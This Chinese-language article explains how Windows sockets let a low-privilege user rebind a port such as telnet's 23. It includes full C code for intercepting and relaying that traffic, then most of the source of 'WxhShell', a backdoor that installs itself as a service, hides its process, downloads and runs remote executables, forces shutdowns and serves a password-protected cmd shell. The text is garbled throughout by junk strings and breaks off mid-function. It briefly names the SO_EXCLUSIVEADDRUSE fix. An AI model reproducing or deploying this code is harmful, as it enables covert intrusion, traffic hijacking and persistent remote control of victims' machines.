在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
`lt"[K< s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Fun^B;GA: v OpKNp saddr.sin_family = AF_INET;
-pXSSa;O9 <<R*2b saddr.sin_addr.s_addr = htonl(INADDR_ANY);
kq,ucU%>p 1^(ad;BCy bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
;x@~A^<el "~C,bk 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
8q}q{8 exUu7&*: 这意味着什么?意味着可以进行如下的攻击:
xjj6WED ?oHpFlj 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
u($!z^h R',rsGd`6j 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
^qD$z=z- |2n4QBH! 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
sI^Xb@'09$ K}MK<2vU 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
<;Zmjeb+# (rm?jDm 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
I75DUJqy] o="M 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
-fHy-Oh 8&`LYdzt 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
J,y[[CdH`
=.]4;z #include
SmSH2m- #include
e [mm #include
6.nCV0xA #include
FSW_<% DWORD WINAPI ClientThread(LPVOID lpParam);
;P%1j| 7 int main()
[;),\\u,d {
~<F8ug# WORD wVersionRequested;
9H`XeQ. DWORD ret;
|_aa&v~ WSADATA wsaData;
!_'ur>iR BOOL val;
'=8d?aeF SOCKADDR_IN saddr;
'XP7"
N47O SOCKADDR_IN scaddr;
MJ
[m int err;
LR.<&m%~. SOCKET s;
Fgh_9S9J SOCKET sc;
A1>OY^p3% int caddsize;
70tH:Z)" HANDLE mt;
{dMsz
DWORD tid;
qwgPk9l wVersionRequested = MAKEWORD( 2, 2 );
CxO ob1@ err = WSAStartup( wVersionRequested, &wsaData );
dufu|BL|} if ( err != 0 ) {
JL}_72gs printf("error!WSAStartup failed!\n");
:hk5 .[ return -1;
Y;^l%ePuW }
3>`mI8$t saddr.sin_family = AF_INET;
}" %?et( EGU
0)< //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
X296tA>C` 9BBmw(M} saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
kr:^tbJ saddr.sin_port = htons(23);
c"V"zg22 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
EF}\brD1 {
EPM-df!= printf("error!socket failed!\n");
J({Xg? return -1;
RF4vtQC= }
9FYUo val = TRUE;
tKx~1- //SO_REUSEADDR选项就是可以实现端口重绑定的
gS]@I0y8
. if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Mhf5bN|wQ {
&n}f? printf("error!setsockopt failed!\n");
qCpp6~]Um return -1;
}1i`6`y1 }
VfC <WVYiZ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
&zeyE;/Hj //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
O6a<`]F //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
_w+:Dv~*a ?u=Fj_N_ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
j8{i#;s!" {
qqr?!vem6 ret=GetLastError();
f:|1_ j printf("error!bind failed!\n");
J1RJ*mo7, return -1;
GmEJhr.3`= }
cyv`B3} listen(s,2);
Z=Y& B>:[ while(1)
6@ IXqKz {
)SRefW.v caddsize = sizeof(scaddr);
@oY~..d` //接受连接请求
ujq=F sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
6/Xk7B if(sc!=INVALID_SOCKET)
?;+1)> { {
)E@.!Ut4o mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
JNYFD8J~ if(mt==NULL)
z] PSpUd {
}mq6]ZrK printf("Thread Creat Failed!\n");
dIa+K?INX break;
xU>WEm2 }
RD'Q :W }
ex9g?*Q CloseHandle(mt);
#9}D4i.`} }
D] jzAx closesocket(s);
(%e.:W${ WSACleanup();
2%@4] return 0;
ukfQe }I }
wb5baY9 DWORD WINAPI ClientThread(LPVOID lpParam)
*,8^@(th {
fg!__Rdi SOCKET ss = (SOCKET)lpParam;
zrL$]Oy}x SOCKET sc;
w/S%YW3* unsigned char buf[4096];
[OV"}<V SOCKADDR_IN saddr;
," Wr" long num;
Z/;(fL DWORD val;
>WQMqQ^t@ DWORD ret;
NI}yVV //如果是隐藏端口应用的话,可以在此处加一些判断
st3l2Q //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
wh\}d4gN saddr.sin_family = AF_INET;
Ng>5?F^v saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
YY((V@|K saddr.sin_port = htons(23);
7BjJhs if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
>:S?Mnv6 {
ZaDyg"Tw+ printf("error!socket failed!\n");
RO VW s/ return -1;
C] eSizS. }
4Lh!8g=/ val = 100;
[.8BTj1% if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
%C'?@,7C {
&Gn 2tr ret = GetLastError();
W5lR0)~#* return -1;
]kG"ubHV?h }
zyc"]IzOU if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
#ASz;$P {
lL3khJ:% ret = GetLastError();
gA5/,wDO return -1;
7he,?T)vD }
udF~5w
H if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
D>@I+4{p {
w%VU/6~ printf("error!socket connect failed!\n");
}~jlj closesocket(sc);
YTX,cj#D^& closesocket(ss);
\oXpi$ return -1;
FLCexlv^ }
`PdQX.wN while(1)
t#/YN.@r {
|zNX=mAV //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
trA4R/
& //如果是嗅探内容的话,可以再此处进行内容分析和记录
*@r/5pM2} //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Ar|0b}=)> num = recv(ss,buf,4096,0);
vNY{j7l/W if(num>0)
=Z3 F1Cq? send(sc,buf,num,0);
y$F'(b|) else if(num==0)
_476pZ_ break;
JEwa
& num = recv(sc,buf,4096,0);
?|C2*?hZ+ if(num>0)
GR.^glG?6 send(ss,buf,num,0);
b8VTo lJ else if(num==0)
He/8=$c% break;
>,Ci?[pf }
N1S{suic closesocket(ss);
%2/EaaR closesocket(sc);
E`0? return 0 ;
9:[ 9v }
2K6qY)/_ <X^@*79m K?Nhi^f"L ==========================================================
|`,2ri*5A omu|yCK 下边附上一个代码,,WXhSHELL
ufZDF=$7 7P5)Z-K[ ==========================================================
Rz:]\jcIT/ F>6|3bOR #include "stdafx.h"
@R"JW\bd f:,DWw`B #include <stdio.h>
n;C
:0 #include <string.h>
K Hu+9eX #include <windows.h>
GPv1fearl #include <winsock2.h>
82qoGSD. #include <winsvc.h>
YnS#H" #include <urlmon.h>
wn, KY$/ S9D<8j^ #pragma comment (lib, "Ws2_32.lib")
#PW9:_BE #pragma comment (lib, "urlmon.lib")
oUr66a/[U f4b/NG| #define MAX_USER 100 // 最大客户端连接数
$q{!5-e #define BUF_SOCK 200 // sock buffer
e8!5I,I #define KEY_BUFF 255 // 输入 buffer
8oseYH ")5":V~fN #define REBOOT 0 // 重启
syj0.JD #define SHUTDOWN 1 // 关机
l
-m fFN 0[#
3;a #define DEF_PORT 5000 // 监听端口
a=1@*ID NC`aP0S #define REG_LEN 16 // 注册表键长度
nFe<w #define SVC_LEN 80 // NT服务名长度
q=m'^
,gPS oj<gD // 从dll定义API
$am$EU?s typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
t!X.|`h typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
:zbQD8jv typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Hqx-~hQO typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
KYhw OGN b<ZIWfs // wxhshell配置信息
9(7-{,c struct WSCFG {
_p/UsJ int ws_port; // 监听端口
aEWWP] char ws_passstr[REG_LEN]; // 口令
^j7Vt2- int ws_autoins; // 安装标记, 1=yes 0=no
6=/F$| char ws_regname[REG_LEN]; // 注册表键名
A#<? 4& char ws_svcname[REG_LEN]; // 服务名
-p-ZzgQ char ws_svcdisp[SVC_LEN]; // 服务显示名
RnE4<Cy char ws_svcdesc[SVC_LEN]; // 服务描述信息
v^NIx q}U char ws_passmsg[SVC_LEN]; // 密码输入提示信息
gp?uHKsM int ws_downexe; // 下载执行标记, 1=yes 0=no
6ex/TySM char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
: /N0!&7 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
9};8?mucr yu|8_<bq };
FUb\e-Q= Y%^w:|f^ // default Wxhshell configuration
5yo%$i8I struct WSCFG wscfg={DEF_PORT,
k FD;i "xuhuanlingzhe",
~&{S<Wl 1,
<w9JRpFY "Wxhshell",
^*Q ?]N "Wxhshell",
7"x;~X "WxhShell Service",
)m)-o4c "Wrsky Windows CmdShell Service",
xml7Uarc "Please Input Your Password: ",
|F[+k e 1,
KqJs?Won "
http://www.wrsky.com/wxhshell.exe",
50wulGJud "Wxhshell.exe"
]7BvvQ
};
5d^sA;c 5m 4P\y^a // 消息定义模块
MrFQ5:= char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
]|ag char *msg_ws_prompt="\n\r? for help\n\r#>";
<2x^slx)? char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
P>D)7V9Hh char *msg_ws_ext="\n\rExit.";
mdDOvm:& char *msg_ws_end="\n\rQuit.";
Sy_G,+$\ char *msg_ws_boot="\n\rReboot...";
'KL0@l char *msg_ws_poff="\n\rShutdown...";
v$v-2y'% char *msg_ws_down="\n\rSave to ";
-f^tE,- P4'Q/Sj char *msg_ws_err="\n\rErr!";
I6av6t} char *msg_ws_ok="\n\rOK!";
p)-^;=<B3 q3N
jky1w char ExeFile[MAX_PATH];
o#Dk&
cH int nUser = 0;
ED( Sg HANDLE handles[MAX_USER];
`UaD6Mc<Mz int OsIsNt;
+ GN(Ug'R `HSKQ52 SERVICE_STATUS serviceStatus;
_ <V)-Y SERVICE_STATUS_HANDLE hServiceStatusHandle;
;[YG@-"XZ 7Q9 w?y~c // 函数声明
"+nRGEs6 int Install(void);
U9 s& int Uninstall(void);
?e4YGOe. int DownloadFile(char *sURL, SOCKET wsh);
t%)7t9j int Boot(int flag);
#gN&lY:CFn void HideProc(void);
bsli0FJSh' int GetOsVer(void);
_J#zY-j int Wxhshell(SOCKET wsl);
lfgq=8d void TalkWithClient(void *cs);
Qd{CMmx int CmdShell(SOCKET sock);
;ef}}K int StartFromService(void);
o:'MpKm int StartWxhshell(LPSTR lpCmdLine);
? :%@vM ec;o\erPG VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
I$G['`XX/ VOID WINAPI NTServiceHandler( DWORD fdwControl );
{dlXLx!B ^uc=f2=>, // 数据结构和表定义
{}n^cq SERVICE_TABLE_ENTRY DispatchTable[] =
iWkWR"ysy {
|YWD8 + {wscfg.ws_svcname, NTServiceMain},
adcE'fA<_ {NULL, NULL}
EME|k{W };
;JT-kw6l5K `$9x 1dx // 自我安装
a58H9w"u) int Install(void)
qInR1 r< {
9W5lSX#^; char svExeFile[MAX_PATH];
*N<]Xy@ HKEY key;
,ZNq,$j strcpy(svExeFile,ExeFile);
;igIZ$& |wMN}bq|T // 如果是win9x系统,修改注册表设为自启动
s ll\g if(!OsIsNt) {
]F~dlH1Wp if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
="H`V V_ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
:3Ox~o RegCloseKey(key);
4pF*"B if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
!;A\.~-!G RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
.p[ux vp
RegCloseKey(key);
"&u@d~`-n return 0;
Wn2NMXK }
^^$s%{ep" }
IEi^kJflU }
U7F!Z(
9 else {
90rol~M& JH9J5%sp // 如果是NT以上系统,安装为系统服务
LH% F8 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
vvMT}-! if (schSCManager!=0)
{JT&w6Jz {
f8dB-FlMm SC_HANDLE schService = CreateService
3nQ`]5.Q
w (
#c!lS<z schSCManager,
4+8@`f>s wscfg.ws_svcname,
g3y~bf wscfg.ws_svcdisp,
{;1\+f SERVICE_ALL_ACCESS,
tyFzSrfc SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
^nz.j SERVICE_AUTO_START,
KZE,bi:~ SERVICE_ERROR_NORMAL,
rb.N~ svExeFile,
$UWZDD NULL,
6bC3O4Rw NULL,
x 9fip- NULL,
P=
NDS2 NULL,
-Q*gW2KmV NULL
O^
yG?b );
<]2w n if (schService!=0)
I\ob7X'Xu! {
lymCH CloseServiceHandle(schService);
NXrlk CloseServiceHandle(schSCManager);
CD~.z7,LC strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Xx:"4l.w. strcat(svExeFile,wscfg.ws_svcname);
L="}ErmK if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
W|mo5qrLS2 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
m-, x<bM? RegCloseKey(key);
PJH& return 0;
kl:Bfs)b }
/U9"wvg }
f]CXu3w(J CloseServiceHandle(schSCManager);
4!?eRY }
wmLs/:~ }
F]&*ow 57c8xk[.2 return 1;
UCj ld }
n:!_ Iefn$ // 自我卸载
~]2K^bh8& int Uninstall(void)
+ ePS14G {
kxv1Hn"`{E HKEY key;
.ioEIs g xy;;zOh` if(!OsIsNt) {
R\[e!g*I if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
~4'$yWG RegDeleteValue(key,wscfg.ws_regname);
I!K6o.|1 RegCloseKey(key);
3!]rmZ-W if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
?=Kduef RegDeleteValue(key,wscfg.ws_regname);
L!xi RegCloseKey(key);
'`Hr} return 0;
iXjM.G }
<LiPEo.R }
+M/%+l }
zO6oT1I else {
\9T7A& K$=zi}J W SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
6'f;-2 if (schSCManager!=0)
ckCE1e>s {
D0f] $ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
J|7 3.&B if (schService!=0)
vFmZ<C'
) {
3bI9Zt#J%& if(DeleteService(schService)!=0) {
es7=%!0 CloseServiceHandle(schService);
<a3WKw CloseServiceHandle(schSCManager);
"w<#^d_6 return 0;
R:qW;n%AF }
Mo|2}nf CloseServiceHandle(schService);
(E1~H0^ }
$I?"lky CloseServiceHandle(schSCManager);
dR]m8mdqc1 }
8}:nGK|kx }
h<QY5=SF 5b7RYV return 1;
]`WJOx4 }
$6IJP\ VIf.q)_k // 从指定url下载文件
iy.\=Cs$N int DownloadFile(char *sURL, SOCKET wsh)
qHsA1<wg {
N;%6:I./ HRESULT hr;
f$QNg0v char seps[]= "/";
dWBA1p char *token;
m1A J{cs char *file;
{)<v&'*c~ char myURL[MAX_PATH];
Ow,b^| char myFILE[MAX_PATH];
8z\xrY j?QDR strcpy(myURL,sURL);
J'r^/ token=strtok(myURL,seps);
GQ
;;bcj& while(token!=NULL)
B9S@(/"7 {
qH_Dc=~la file=token;
"m>81-0 token=strtok(NULL,seps);
u*9V&>o }
)+Pus~w N'=gep0V@ GetCurrentDirectory(MAX_PATH,myFILE);
fc>L K7M strcat(myFILE, "\\");
M',?u strcat(myFILE, file);
klhtKp_p send(wsh,myFILE,strlen(myFILE),0);
Ax}JLPz5' send(wsh,"...",3,0);
_@/8gPT*i hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
X}0cCdW if(hr==S_OK)
k9F=8q return 0;
}Y4qS else
O#r%>;3* return 1;
;dhQN}7 &%Tj/ Qx }
=2x^nW 7 X4LJf // 系统电源模块
7K:PdF>/ int Boot(int flag)
poFg1 {
i@J;G` HANDLE hToken;
4B][S'f TOKEN_PRIVILEGES tkp;
P!k{u^$L #X"@<l4F if(OsIsNt) {
kG*~|ma OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Oow2>F%_# LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
BDVtSs<7 tkp.PrivilegeCount = 1;
8dhUBJ0_ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
=vhm} AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
<a+Z;> if(flag==REBOOT) {
|Q>IrT if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
a'IdYW0 return 0;
>LuYHr }
tLmTjX .6 else {
e>7i_4(C if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
4KrL{Z+} return 0;
u#SWj,X }
k VQ\1! }
Aiea\jBv else {
vfo~27T{( if(flag==REBOOT) {
rVsJ`+L if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Af{"pzY return 0;
KK &?gTa }
A5w6]: f2 else {
gZ1?G-Q if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
cN9t{.m return 0;
J$v?T$LVw }
1-QS~)+ }
T]p-0?=4vv uW3!Yg@ return 1;
WjqO@]P6 }
v*yuE5{ #3d(M // win9x进程隐藏模块
7VI*N)OZ8 void HideProc(void)
@\I#^X5lv {
Rws3V"{`[ f y8Uk; HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
N}YkMJy if ( hKernel != NULL )
TuqH*{NNy9 {
gPc=2 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
I++. ee ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Ti&z1_u FreeLibrary(hKernel);
8HdAFRw }
`@|$,2[C ^sg,\zD 'X return;
C"enpc_C/ }
3oG,E;( >yh2Lri // 获取操作系统版本
&iVs0R int GetOsVer(void)
>@AB<$A {
RCLeA=/N@0 OSVERSIONINFO winfo;
u>/ TE winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
61
~upQaR GetVersionEx(&winfo);
g$o&Udgs if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
;6hOx(>`= return 1;
$u6
3]rypm else
H 7
^/q7 return 0;
~< x:q6
}
y18Y:)DkL 6\S~P/PkE // 客户端句柄模块
Pr,q*_Yy int Wxhshell(SOCKET wsl)
*HB-QIl {
&]-DqK7 SOCKET wsh;
*4_Bd=5(U struct sockaddr_in client;
s(roJbJ_; DWORD myID;
>i-"<jG dGTsc/$ while(nUser<MAX_USER)
G9@0@2aY8 {
?b5^ int nSize=sizeof(client);
!$>R j wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Nl(Foya%) if(wsh==INVALID_SOCKET) return 1;
VOh4#%Vj $xdy& handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
eQvg7aO; if(handles[nUser]==0)
-o
EW:~y closesocket(wsh);
5QO9Q]I#_\ else
~.lPEA %% nUser++;
_oDz- }
Q.c\/& WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
ROZF)|l w.-!UD9/.x return 0;
*G9V'9 }
-`TEVS?`l 9k[9P;"F: // 关闭 socket
Pd]|:W< E void CloseIt(SOCKET wsh)
9]o-O]7/ {
W'u># closesocket(wsh);
vEz"xz1j!] nUser--;
ib791 ExitThread(0);
_2 osV[e }
5d!-G$@ yJe>JK~) // 客户端请求句柄
u08mqEa void TalkWithClient(void *cs)
njA#@fU {
Nu~lsWyRI5 % +\."eC SOCKET wsh=(SOCKET)cs;
',5ky{ char pwd[SVC_LEN];
=zs`#-^8 char cmd[KEY_BUFF];
t9IW/Q char chr[1];
57'4ljvYi int i,j;
2jCf T>`3 7W.~ while (nUser < MAX_USER) {
H~z`]5CN mXfXO*Cnp if(wscfg.ws_passstr) {
VBcPu if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
i8HTzv"J //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
{U !g.rh //ZeroMemory(pwd,KEY_BUFF);
1D!<'`)AY i=0;
8BNi1Qn$ while(i<SVC_LEN) {
I ?.^ho LvYB7<zk> // 设置超时
-!]ZMi9 fd_set FdRead;
?p8_AL'RS struct timeval TimeOut;
>t_6B~x9 FD_ZERO(&FdRead);
?=fyc1 FD_SET(wsh,&FdRead);
F`]2O:[ TimeOut.tv_sec=8;
_ZkI)o TimeOut.tv_usec=0;
GF=g<H
M int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
ZO$%[ftb if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
jsi!fx2Rm Q>1[JW{$} if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
KL Xq\{X pwd
=chr[0]; [0D.K}7|
if(chr[0]==0xd || chr[0]==0xa) { R<N
]B
pwd=0; |*tp16+6
break; k~
/Nv=D
} (Px OE
i++; Vj>8a)"B5a
} \v)+.m?n
gCY';\f!
// 如果是非法用户,关闭 socket v0jgki4t
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]
{HI?V
} /%A*aGyIc
I`4*+a'q&
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L4y4RG/SJ:
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y9}>: pj4
k7usMVAA
while(1) { a-L;*
*,WU?tl&
ZeroMemory(cmd,KEY_BUFF); fIv* T[
/FEVmH?
// 自动支持客户端 telnet标准 L8#5*8W6
j=0; !f&g-V
while(j<KEY_BUFF) { ;q6Ki.D
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "C0Q(dr/n
cmd[j]=chr[0]; b(O3@Q6[
if(chr[0]==0xa || chr[0]==0xd) { y:qUn!3
cmd[j]=0; w}cPs{Vi"
break; j]/RC(;?
} fMyti$1~
j++; [RTs[3E^
} @@%.t|=
QWHug:c
// 下载文件 3"KCh\\b
if(strstr(cmd,"http://")) { 7g}w+p>
send(wsh,msg_ws_down,strlen(msg_ws_down),0); gQ1;],_
if(DownloadFile(cmd,wsh)) t" Z6[XG
send(wsh,msg_ws_err,strlen(msg_ws_err),0); :${HQd+
else )
M BQuiL
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $,Yd>%Y
} xbYi.
else { =h73s0]
hv_XP,1K
switch(cmd[0]) { oj_3ZsO
/HRFAqep
// 帮助 ut/=R !(K
case '?': { pOG1jI5<{8
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); LvUj9eVb/L
break; Is?La
} ':m,)G5&
// 安装 *w0%d1
case 'i': { GD_hhDyD
if(Install()) SPmq4
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |T)6yDL
else Ob&<]
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ve2u=eQ1
break; ;&-k#PE]/H
} gz#i.-
// 卸载 VrQmP
case 'r': { I->Ss},U
if(Uninstall()) b9<#K+L-
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +<3XJ7D
else j@uOOhy
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e@*
EzvO
break; ?\s+EE&-
} /9pwZ%:<
// 显示 wxhshell 所在路径 !fR3(=oN
case 'p': { 6 EC*
char svExeFile[MAX_PATH]; l(tOe
strcpy(svExeFile,"\n\r"); Z+. '>
strcat(svExeFile,ExeFile); #O}
,`[<
send(wsh,svExeFile,strlen(svExeFile),0); 0-yp,G
break; !*bMa8]*
} q}#6e]t
// 重启 "v({,
case 'b': { ~=RT*>G_
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); KRMQtgahc
if(Boot(REBOOT)) OCaq3_#tZ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); TOXfWEU3>
else { e)#J1(j_
closesocket(wsh); h2J/c#Qvh
ExitThread(0); 8~z~_TD6m@
} 6){]1h"
break; dD|OSB7I7
} ^pF&`2eD
// 关机 QD*35Y!d
case 'd': { YhE+W
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); WE.{p>
if(Boot(SHUTDOWN)) ll.N^y;a
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jx7C'~,J
else { ~T,c"t2
closesocket(wsh); }"PU%+J
ExitThread(0); 8sTp`}54J
} 9V@V6TvW>&
break; ZE=Sp=@)j
} K<qk.~
S
// 获取shell
+:!7L=N#
case 's': { q[W
0 N>
CmdShell(wsh); Q&=w_Wc
closesocket(wsh); jun_QiU:2
ExitThread(0); _Wq
break; $ig0j`
} D" rK(
// 退出 J1sv[$9
case 'x': { hp7|m0.JW
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $r8 ^0ZRr
CloseIt(wsh); QoIT*!
break; wFsyD3
} ';jYOVe
// 离开 >TnTnF WX
case 'q': { Be=u&T:~
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3|4|*6
closesocket(wsh); <vh/4
WSACleanup(); kJzoFFWo$
exit(1); 6qoyiT%P&
break; !1DKLQ
} =JbRu|/
} ;HJLs2bP
} p&bROuw<T
S^>,~R.TX
// 提示信息 MLje4
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ke]Lw
} rrqR}}l
} LO khjHR
dx&'fe*?
return; `YLD`(\
} D=m9fFz
f~y%%+{p
// shell模块句柄 >x+6{^}Q >
int CmdShell(SOCKET sock) o` ZQ d,3
{ Dhw(#{N
STARTUPINFO si; UU mTOJr
ZeroMemory(&si,sizeof(si)); 2w_W Adi
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ax?y
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; O%(fx!c`
PROCESS_INFORMATION ProcessInfo; kabnVVn~
char cmdline[]="cmd"; uK$9Ll{lk
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); q[`]D7W
"
return 0; !tMuuK?IL=
} BJB^m|b)
D2!X?"[P
// 自身启动模式 UAFwi%@!-q
int StartFromService(void) Xti[[s J
{ O[s{ Gk'>
typedef struct s'a/j)^
{ eg?<mKrZ
DWORD ExitStatus; Hl/
QnI!
DWORD PebBaseAddress; BuWHX>H
DWORD AffinityMask; C8e
!H
DWORD BasePriority; 9S7kUl{
ULONG UniqueProcessId; K[Kh&`T
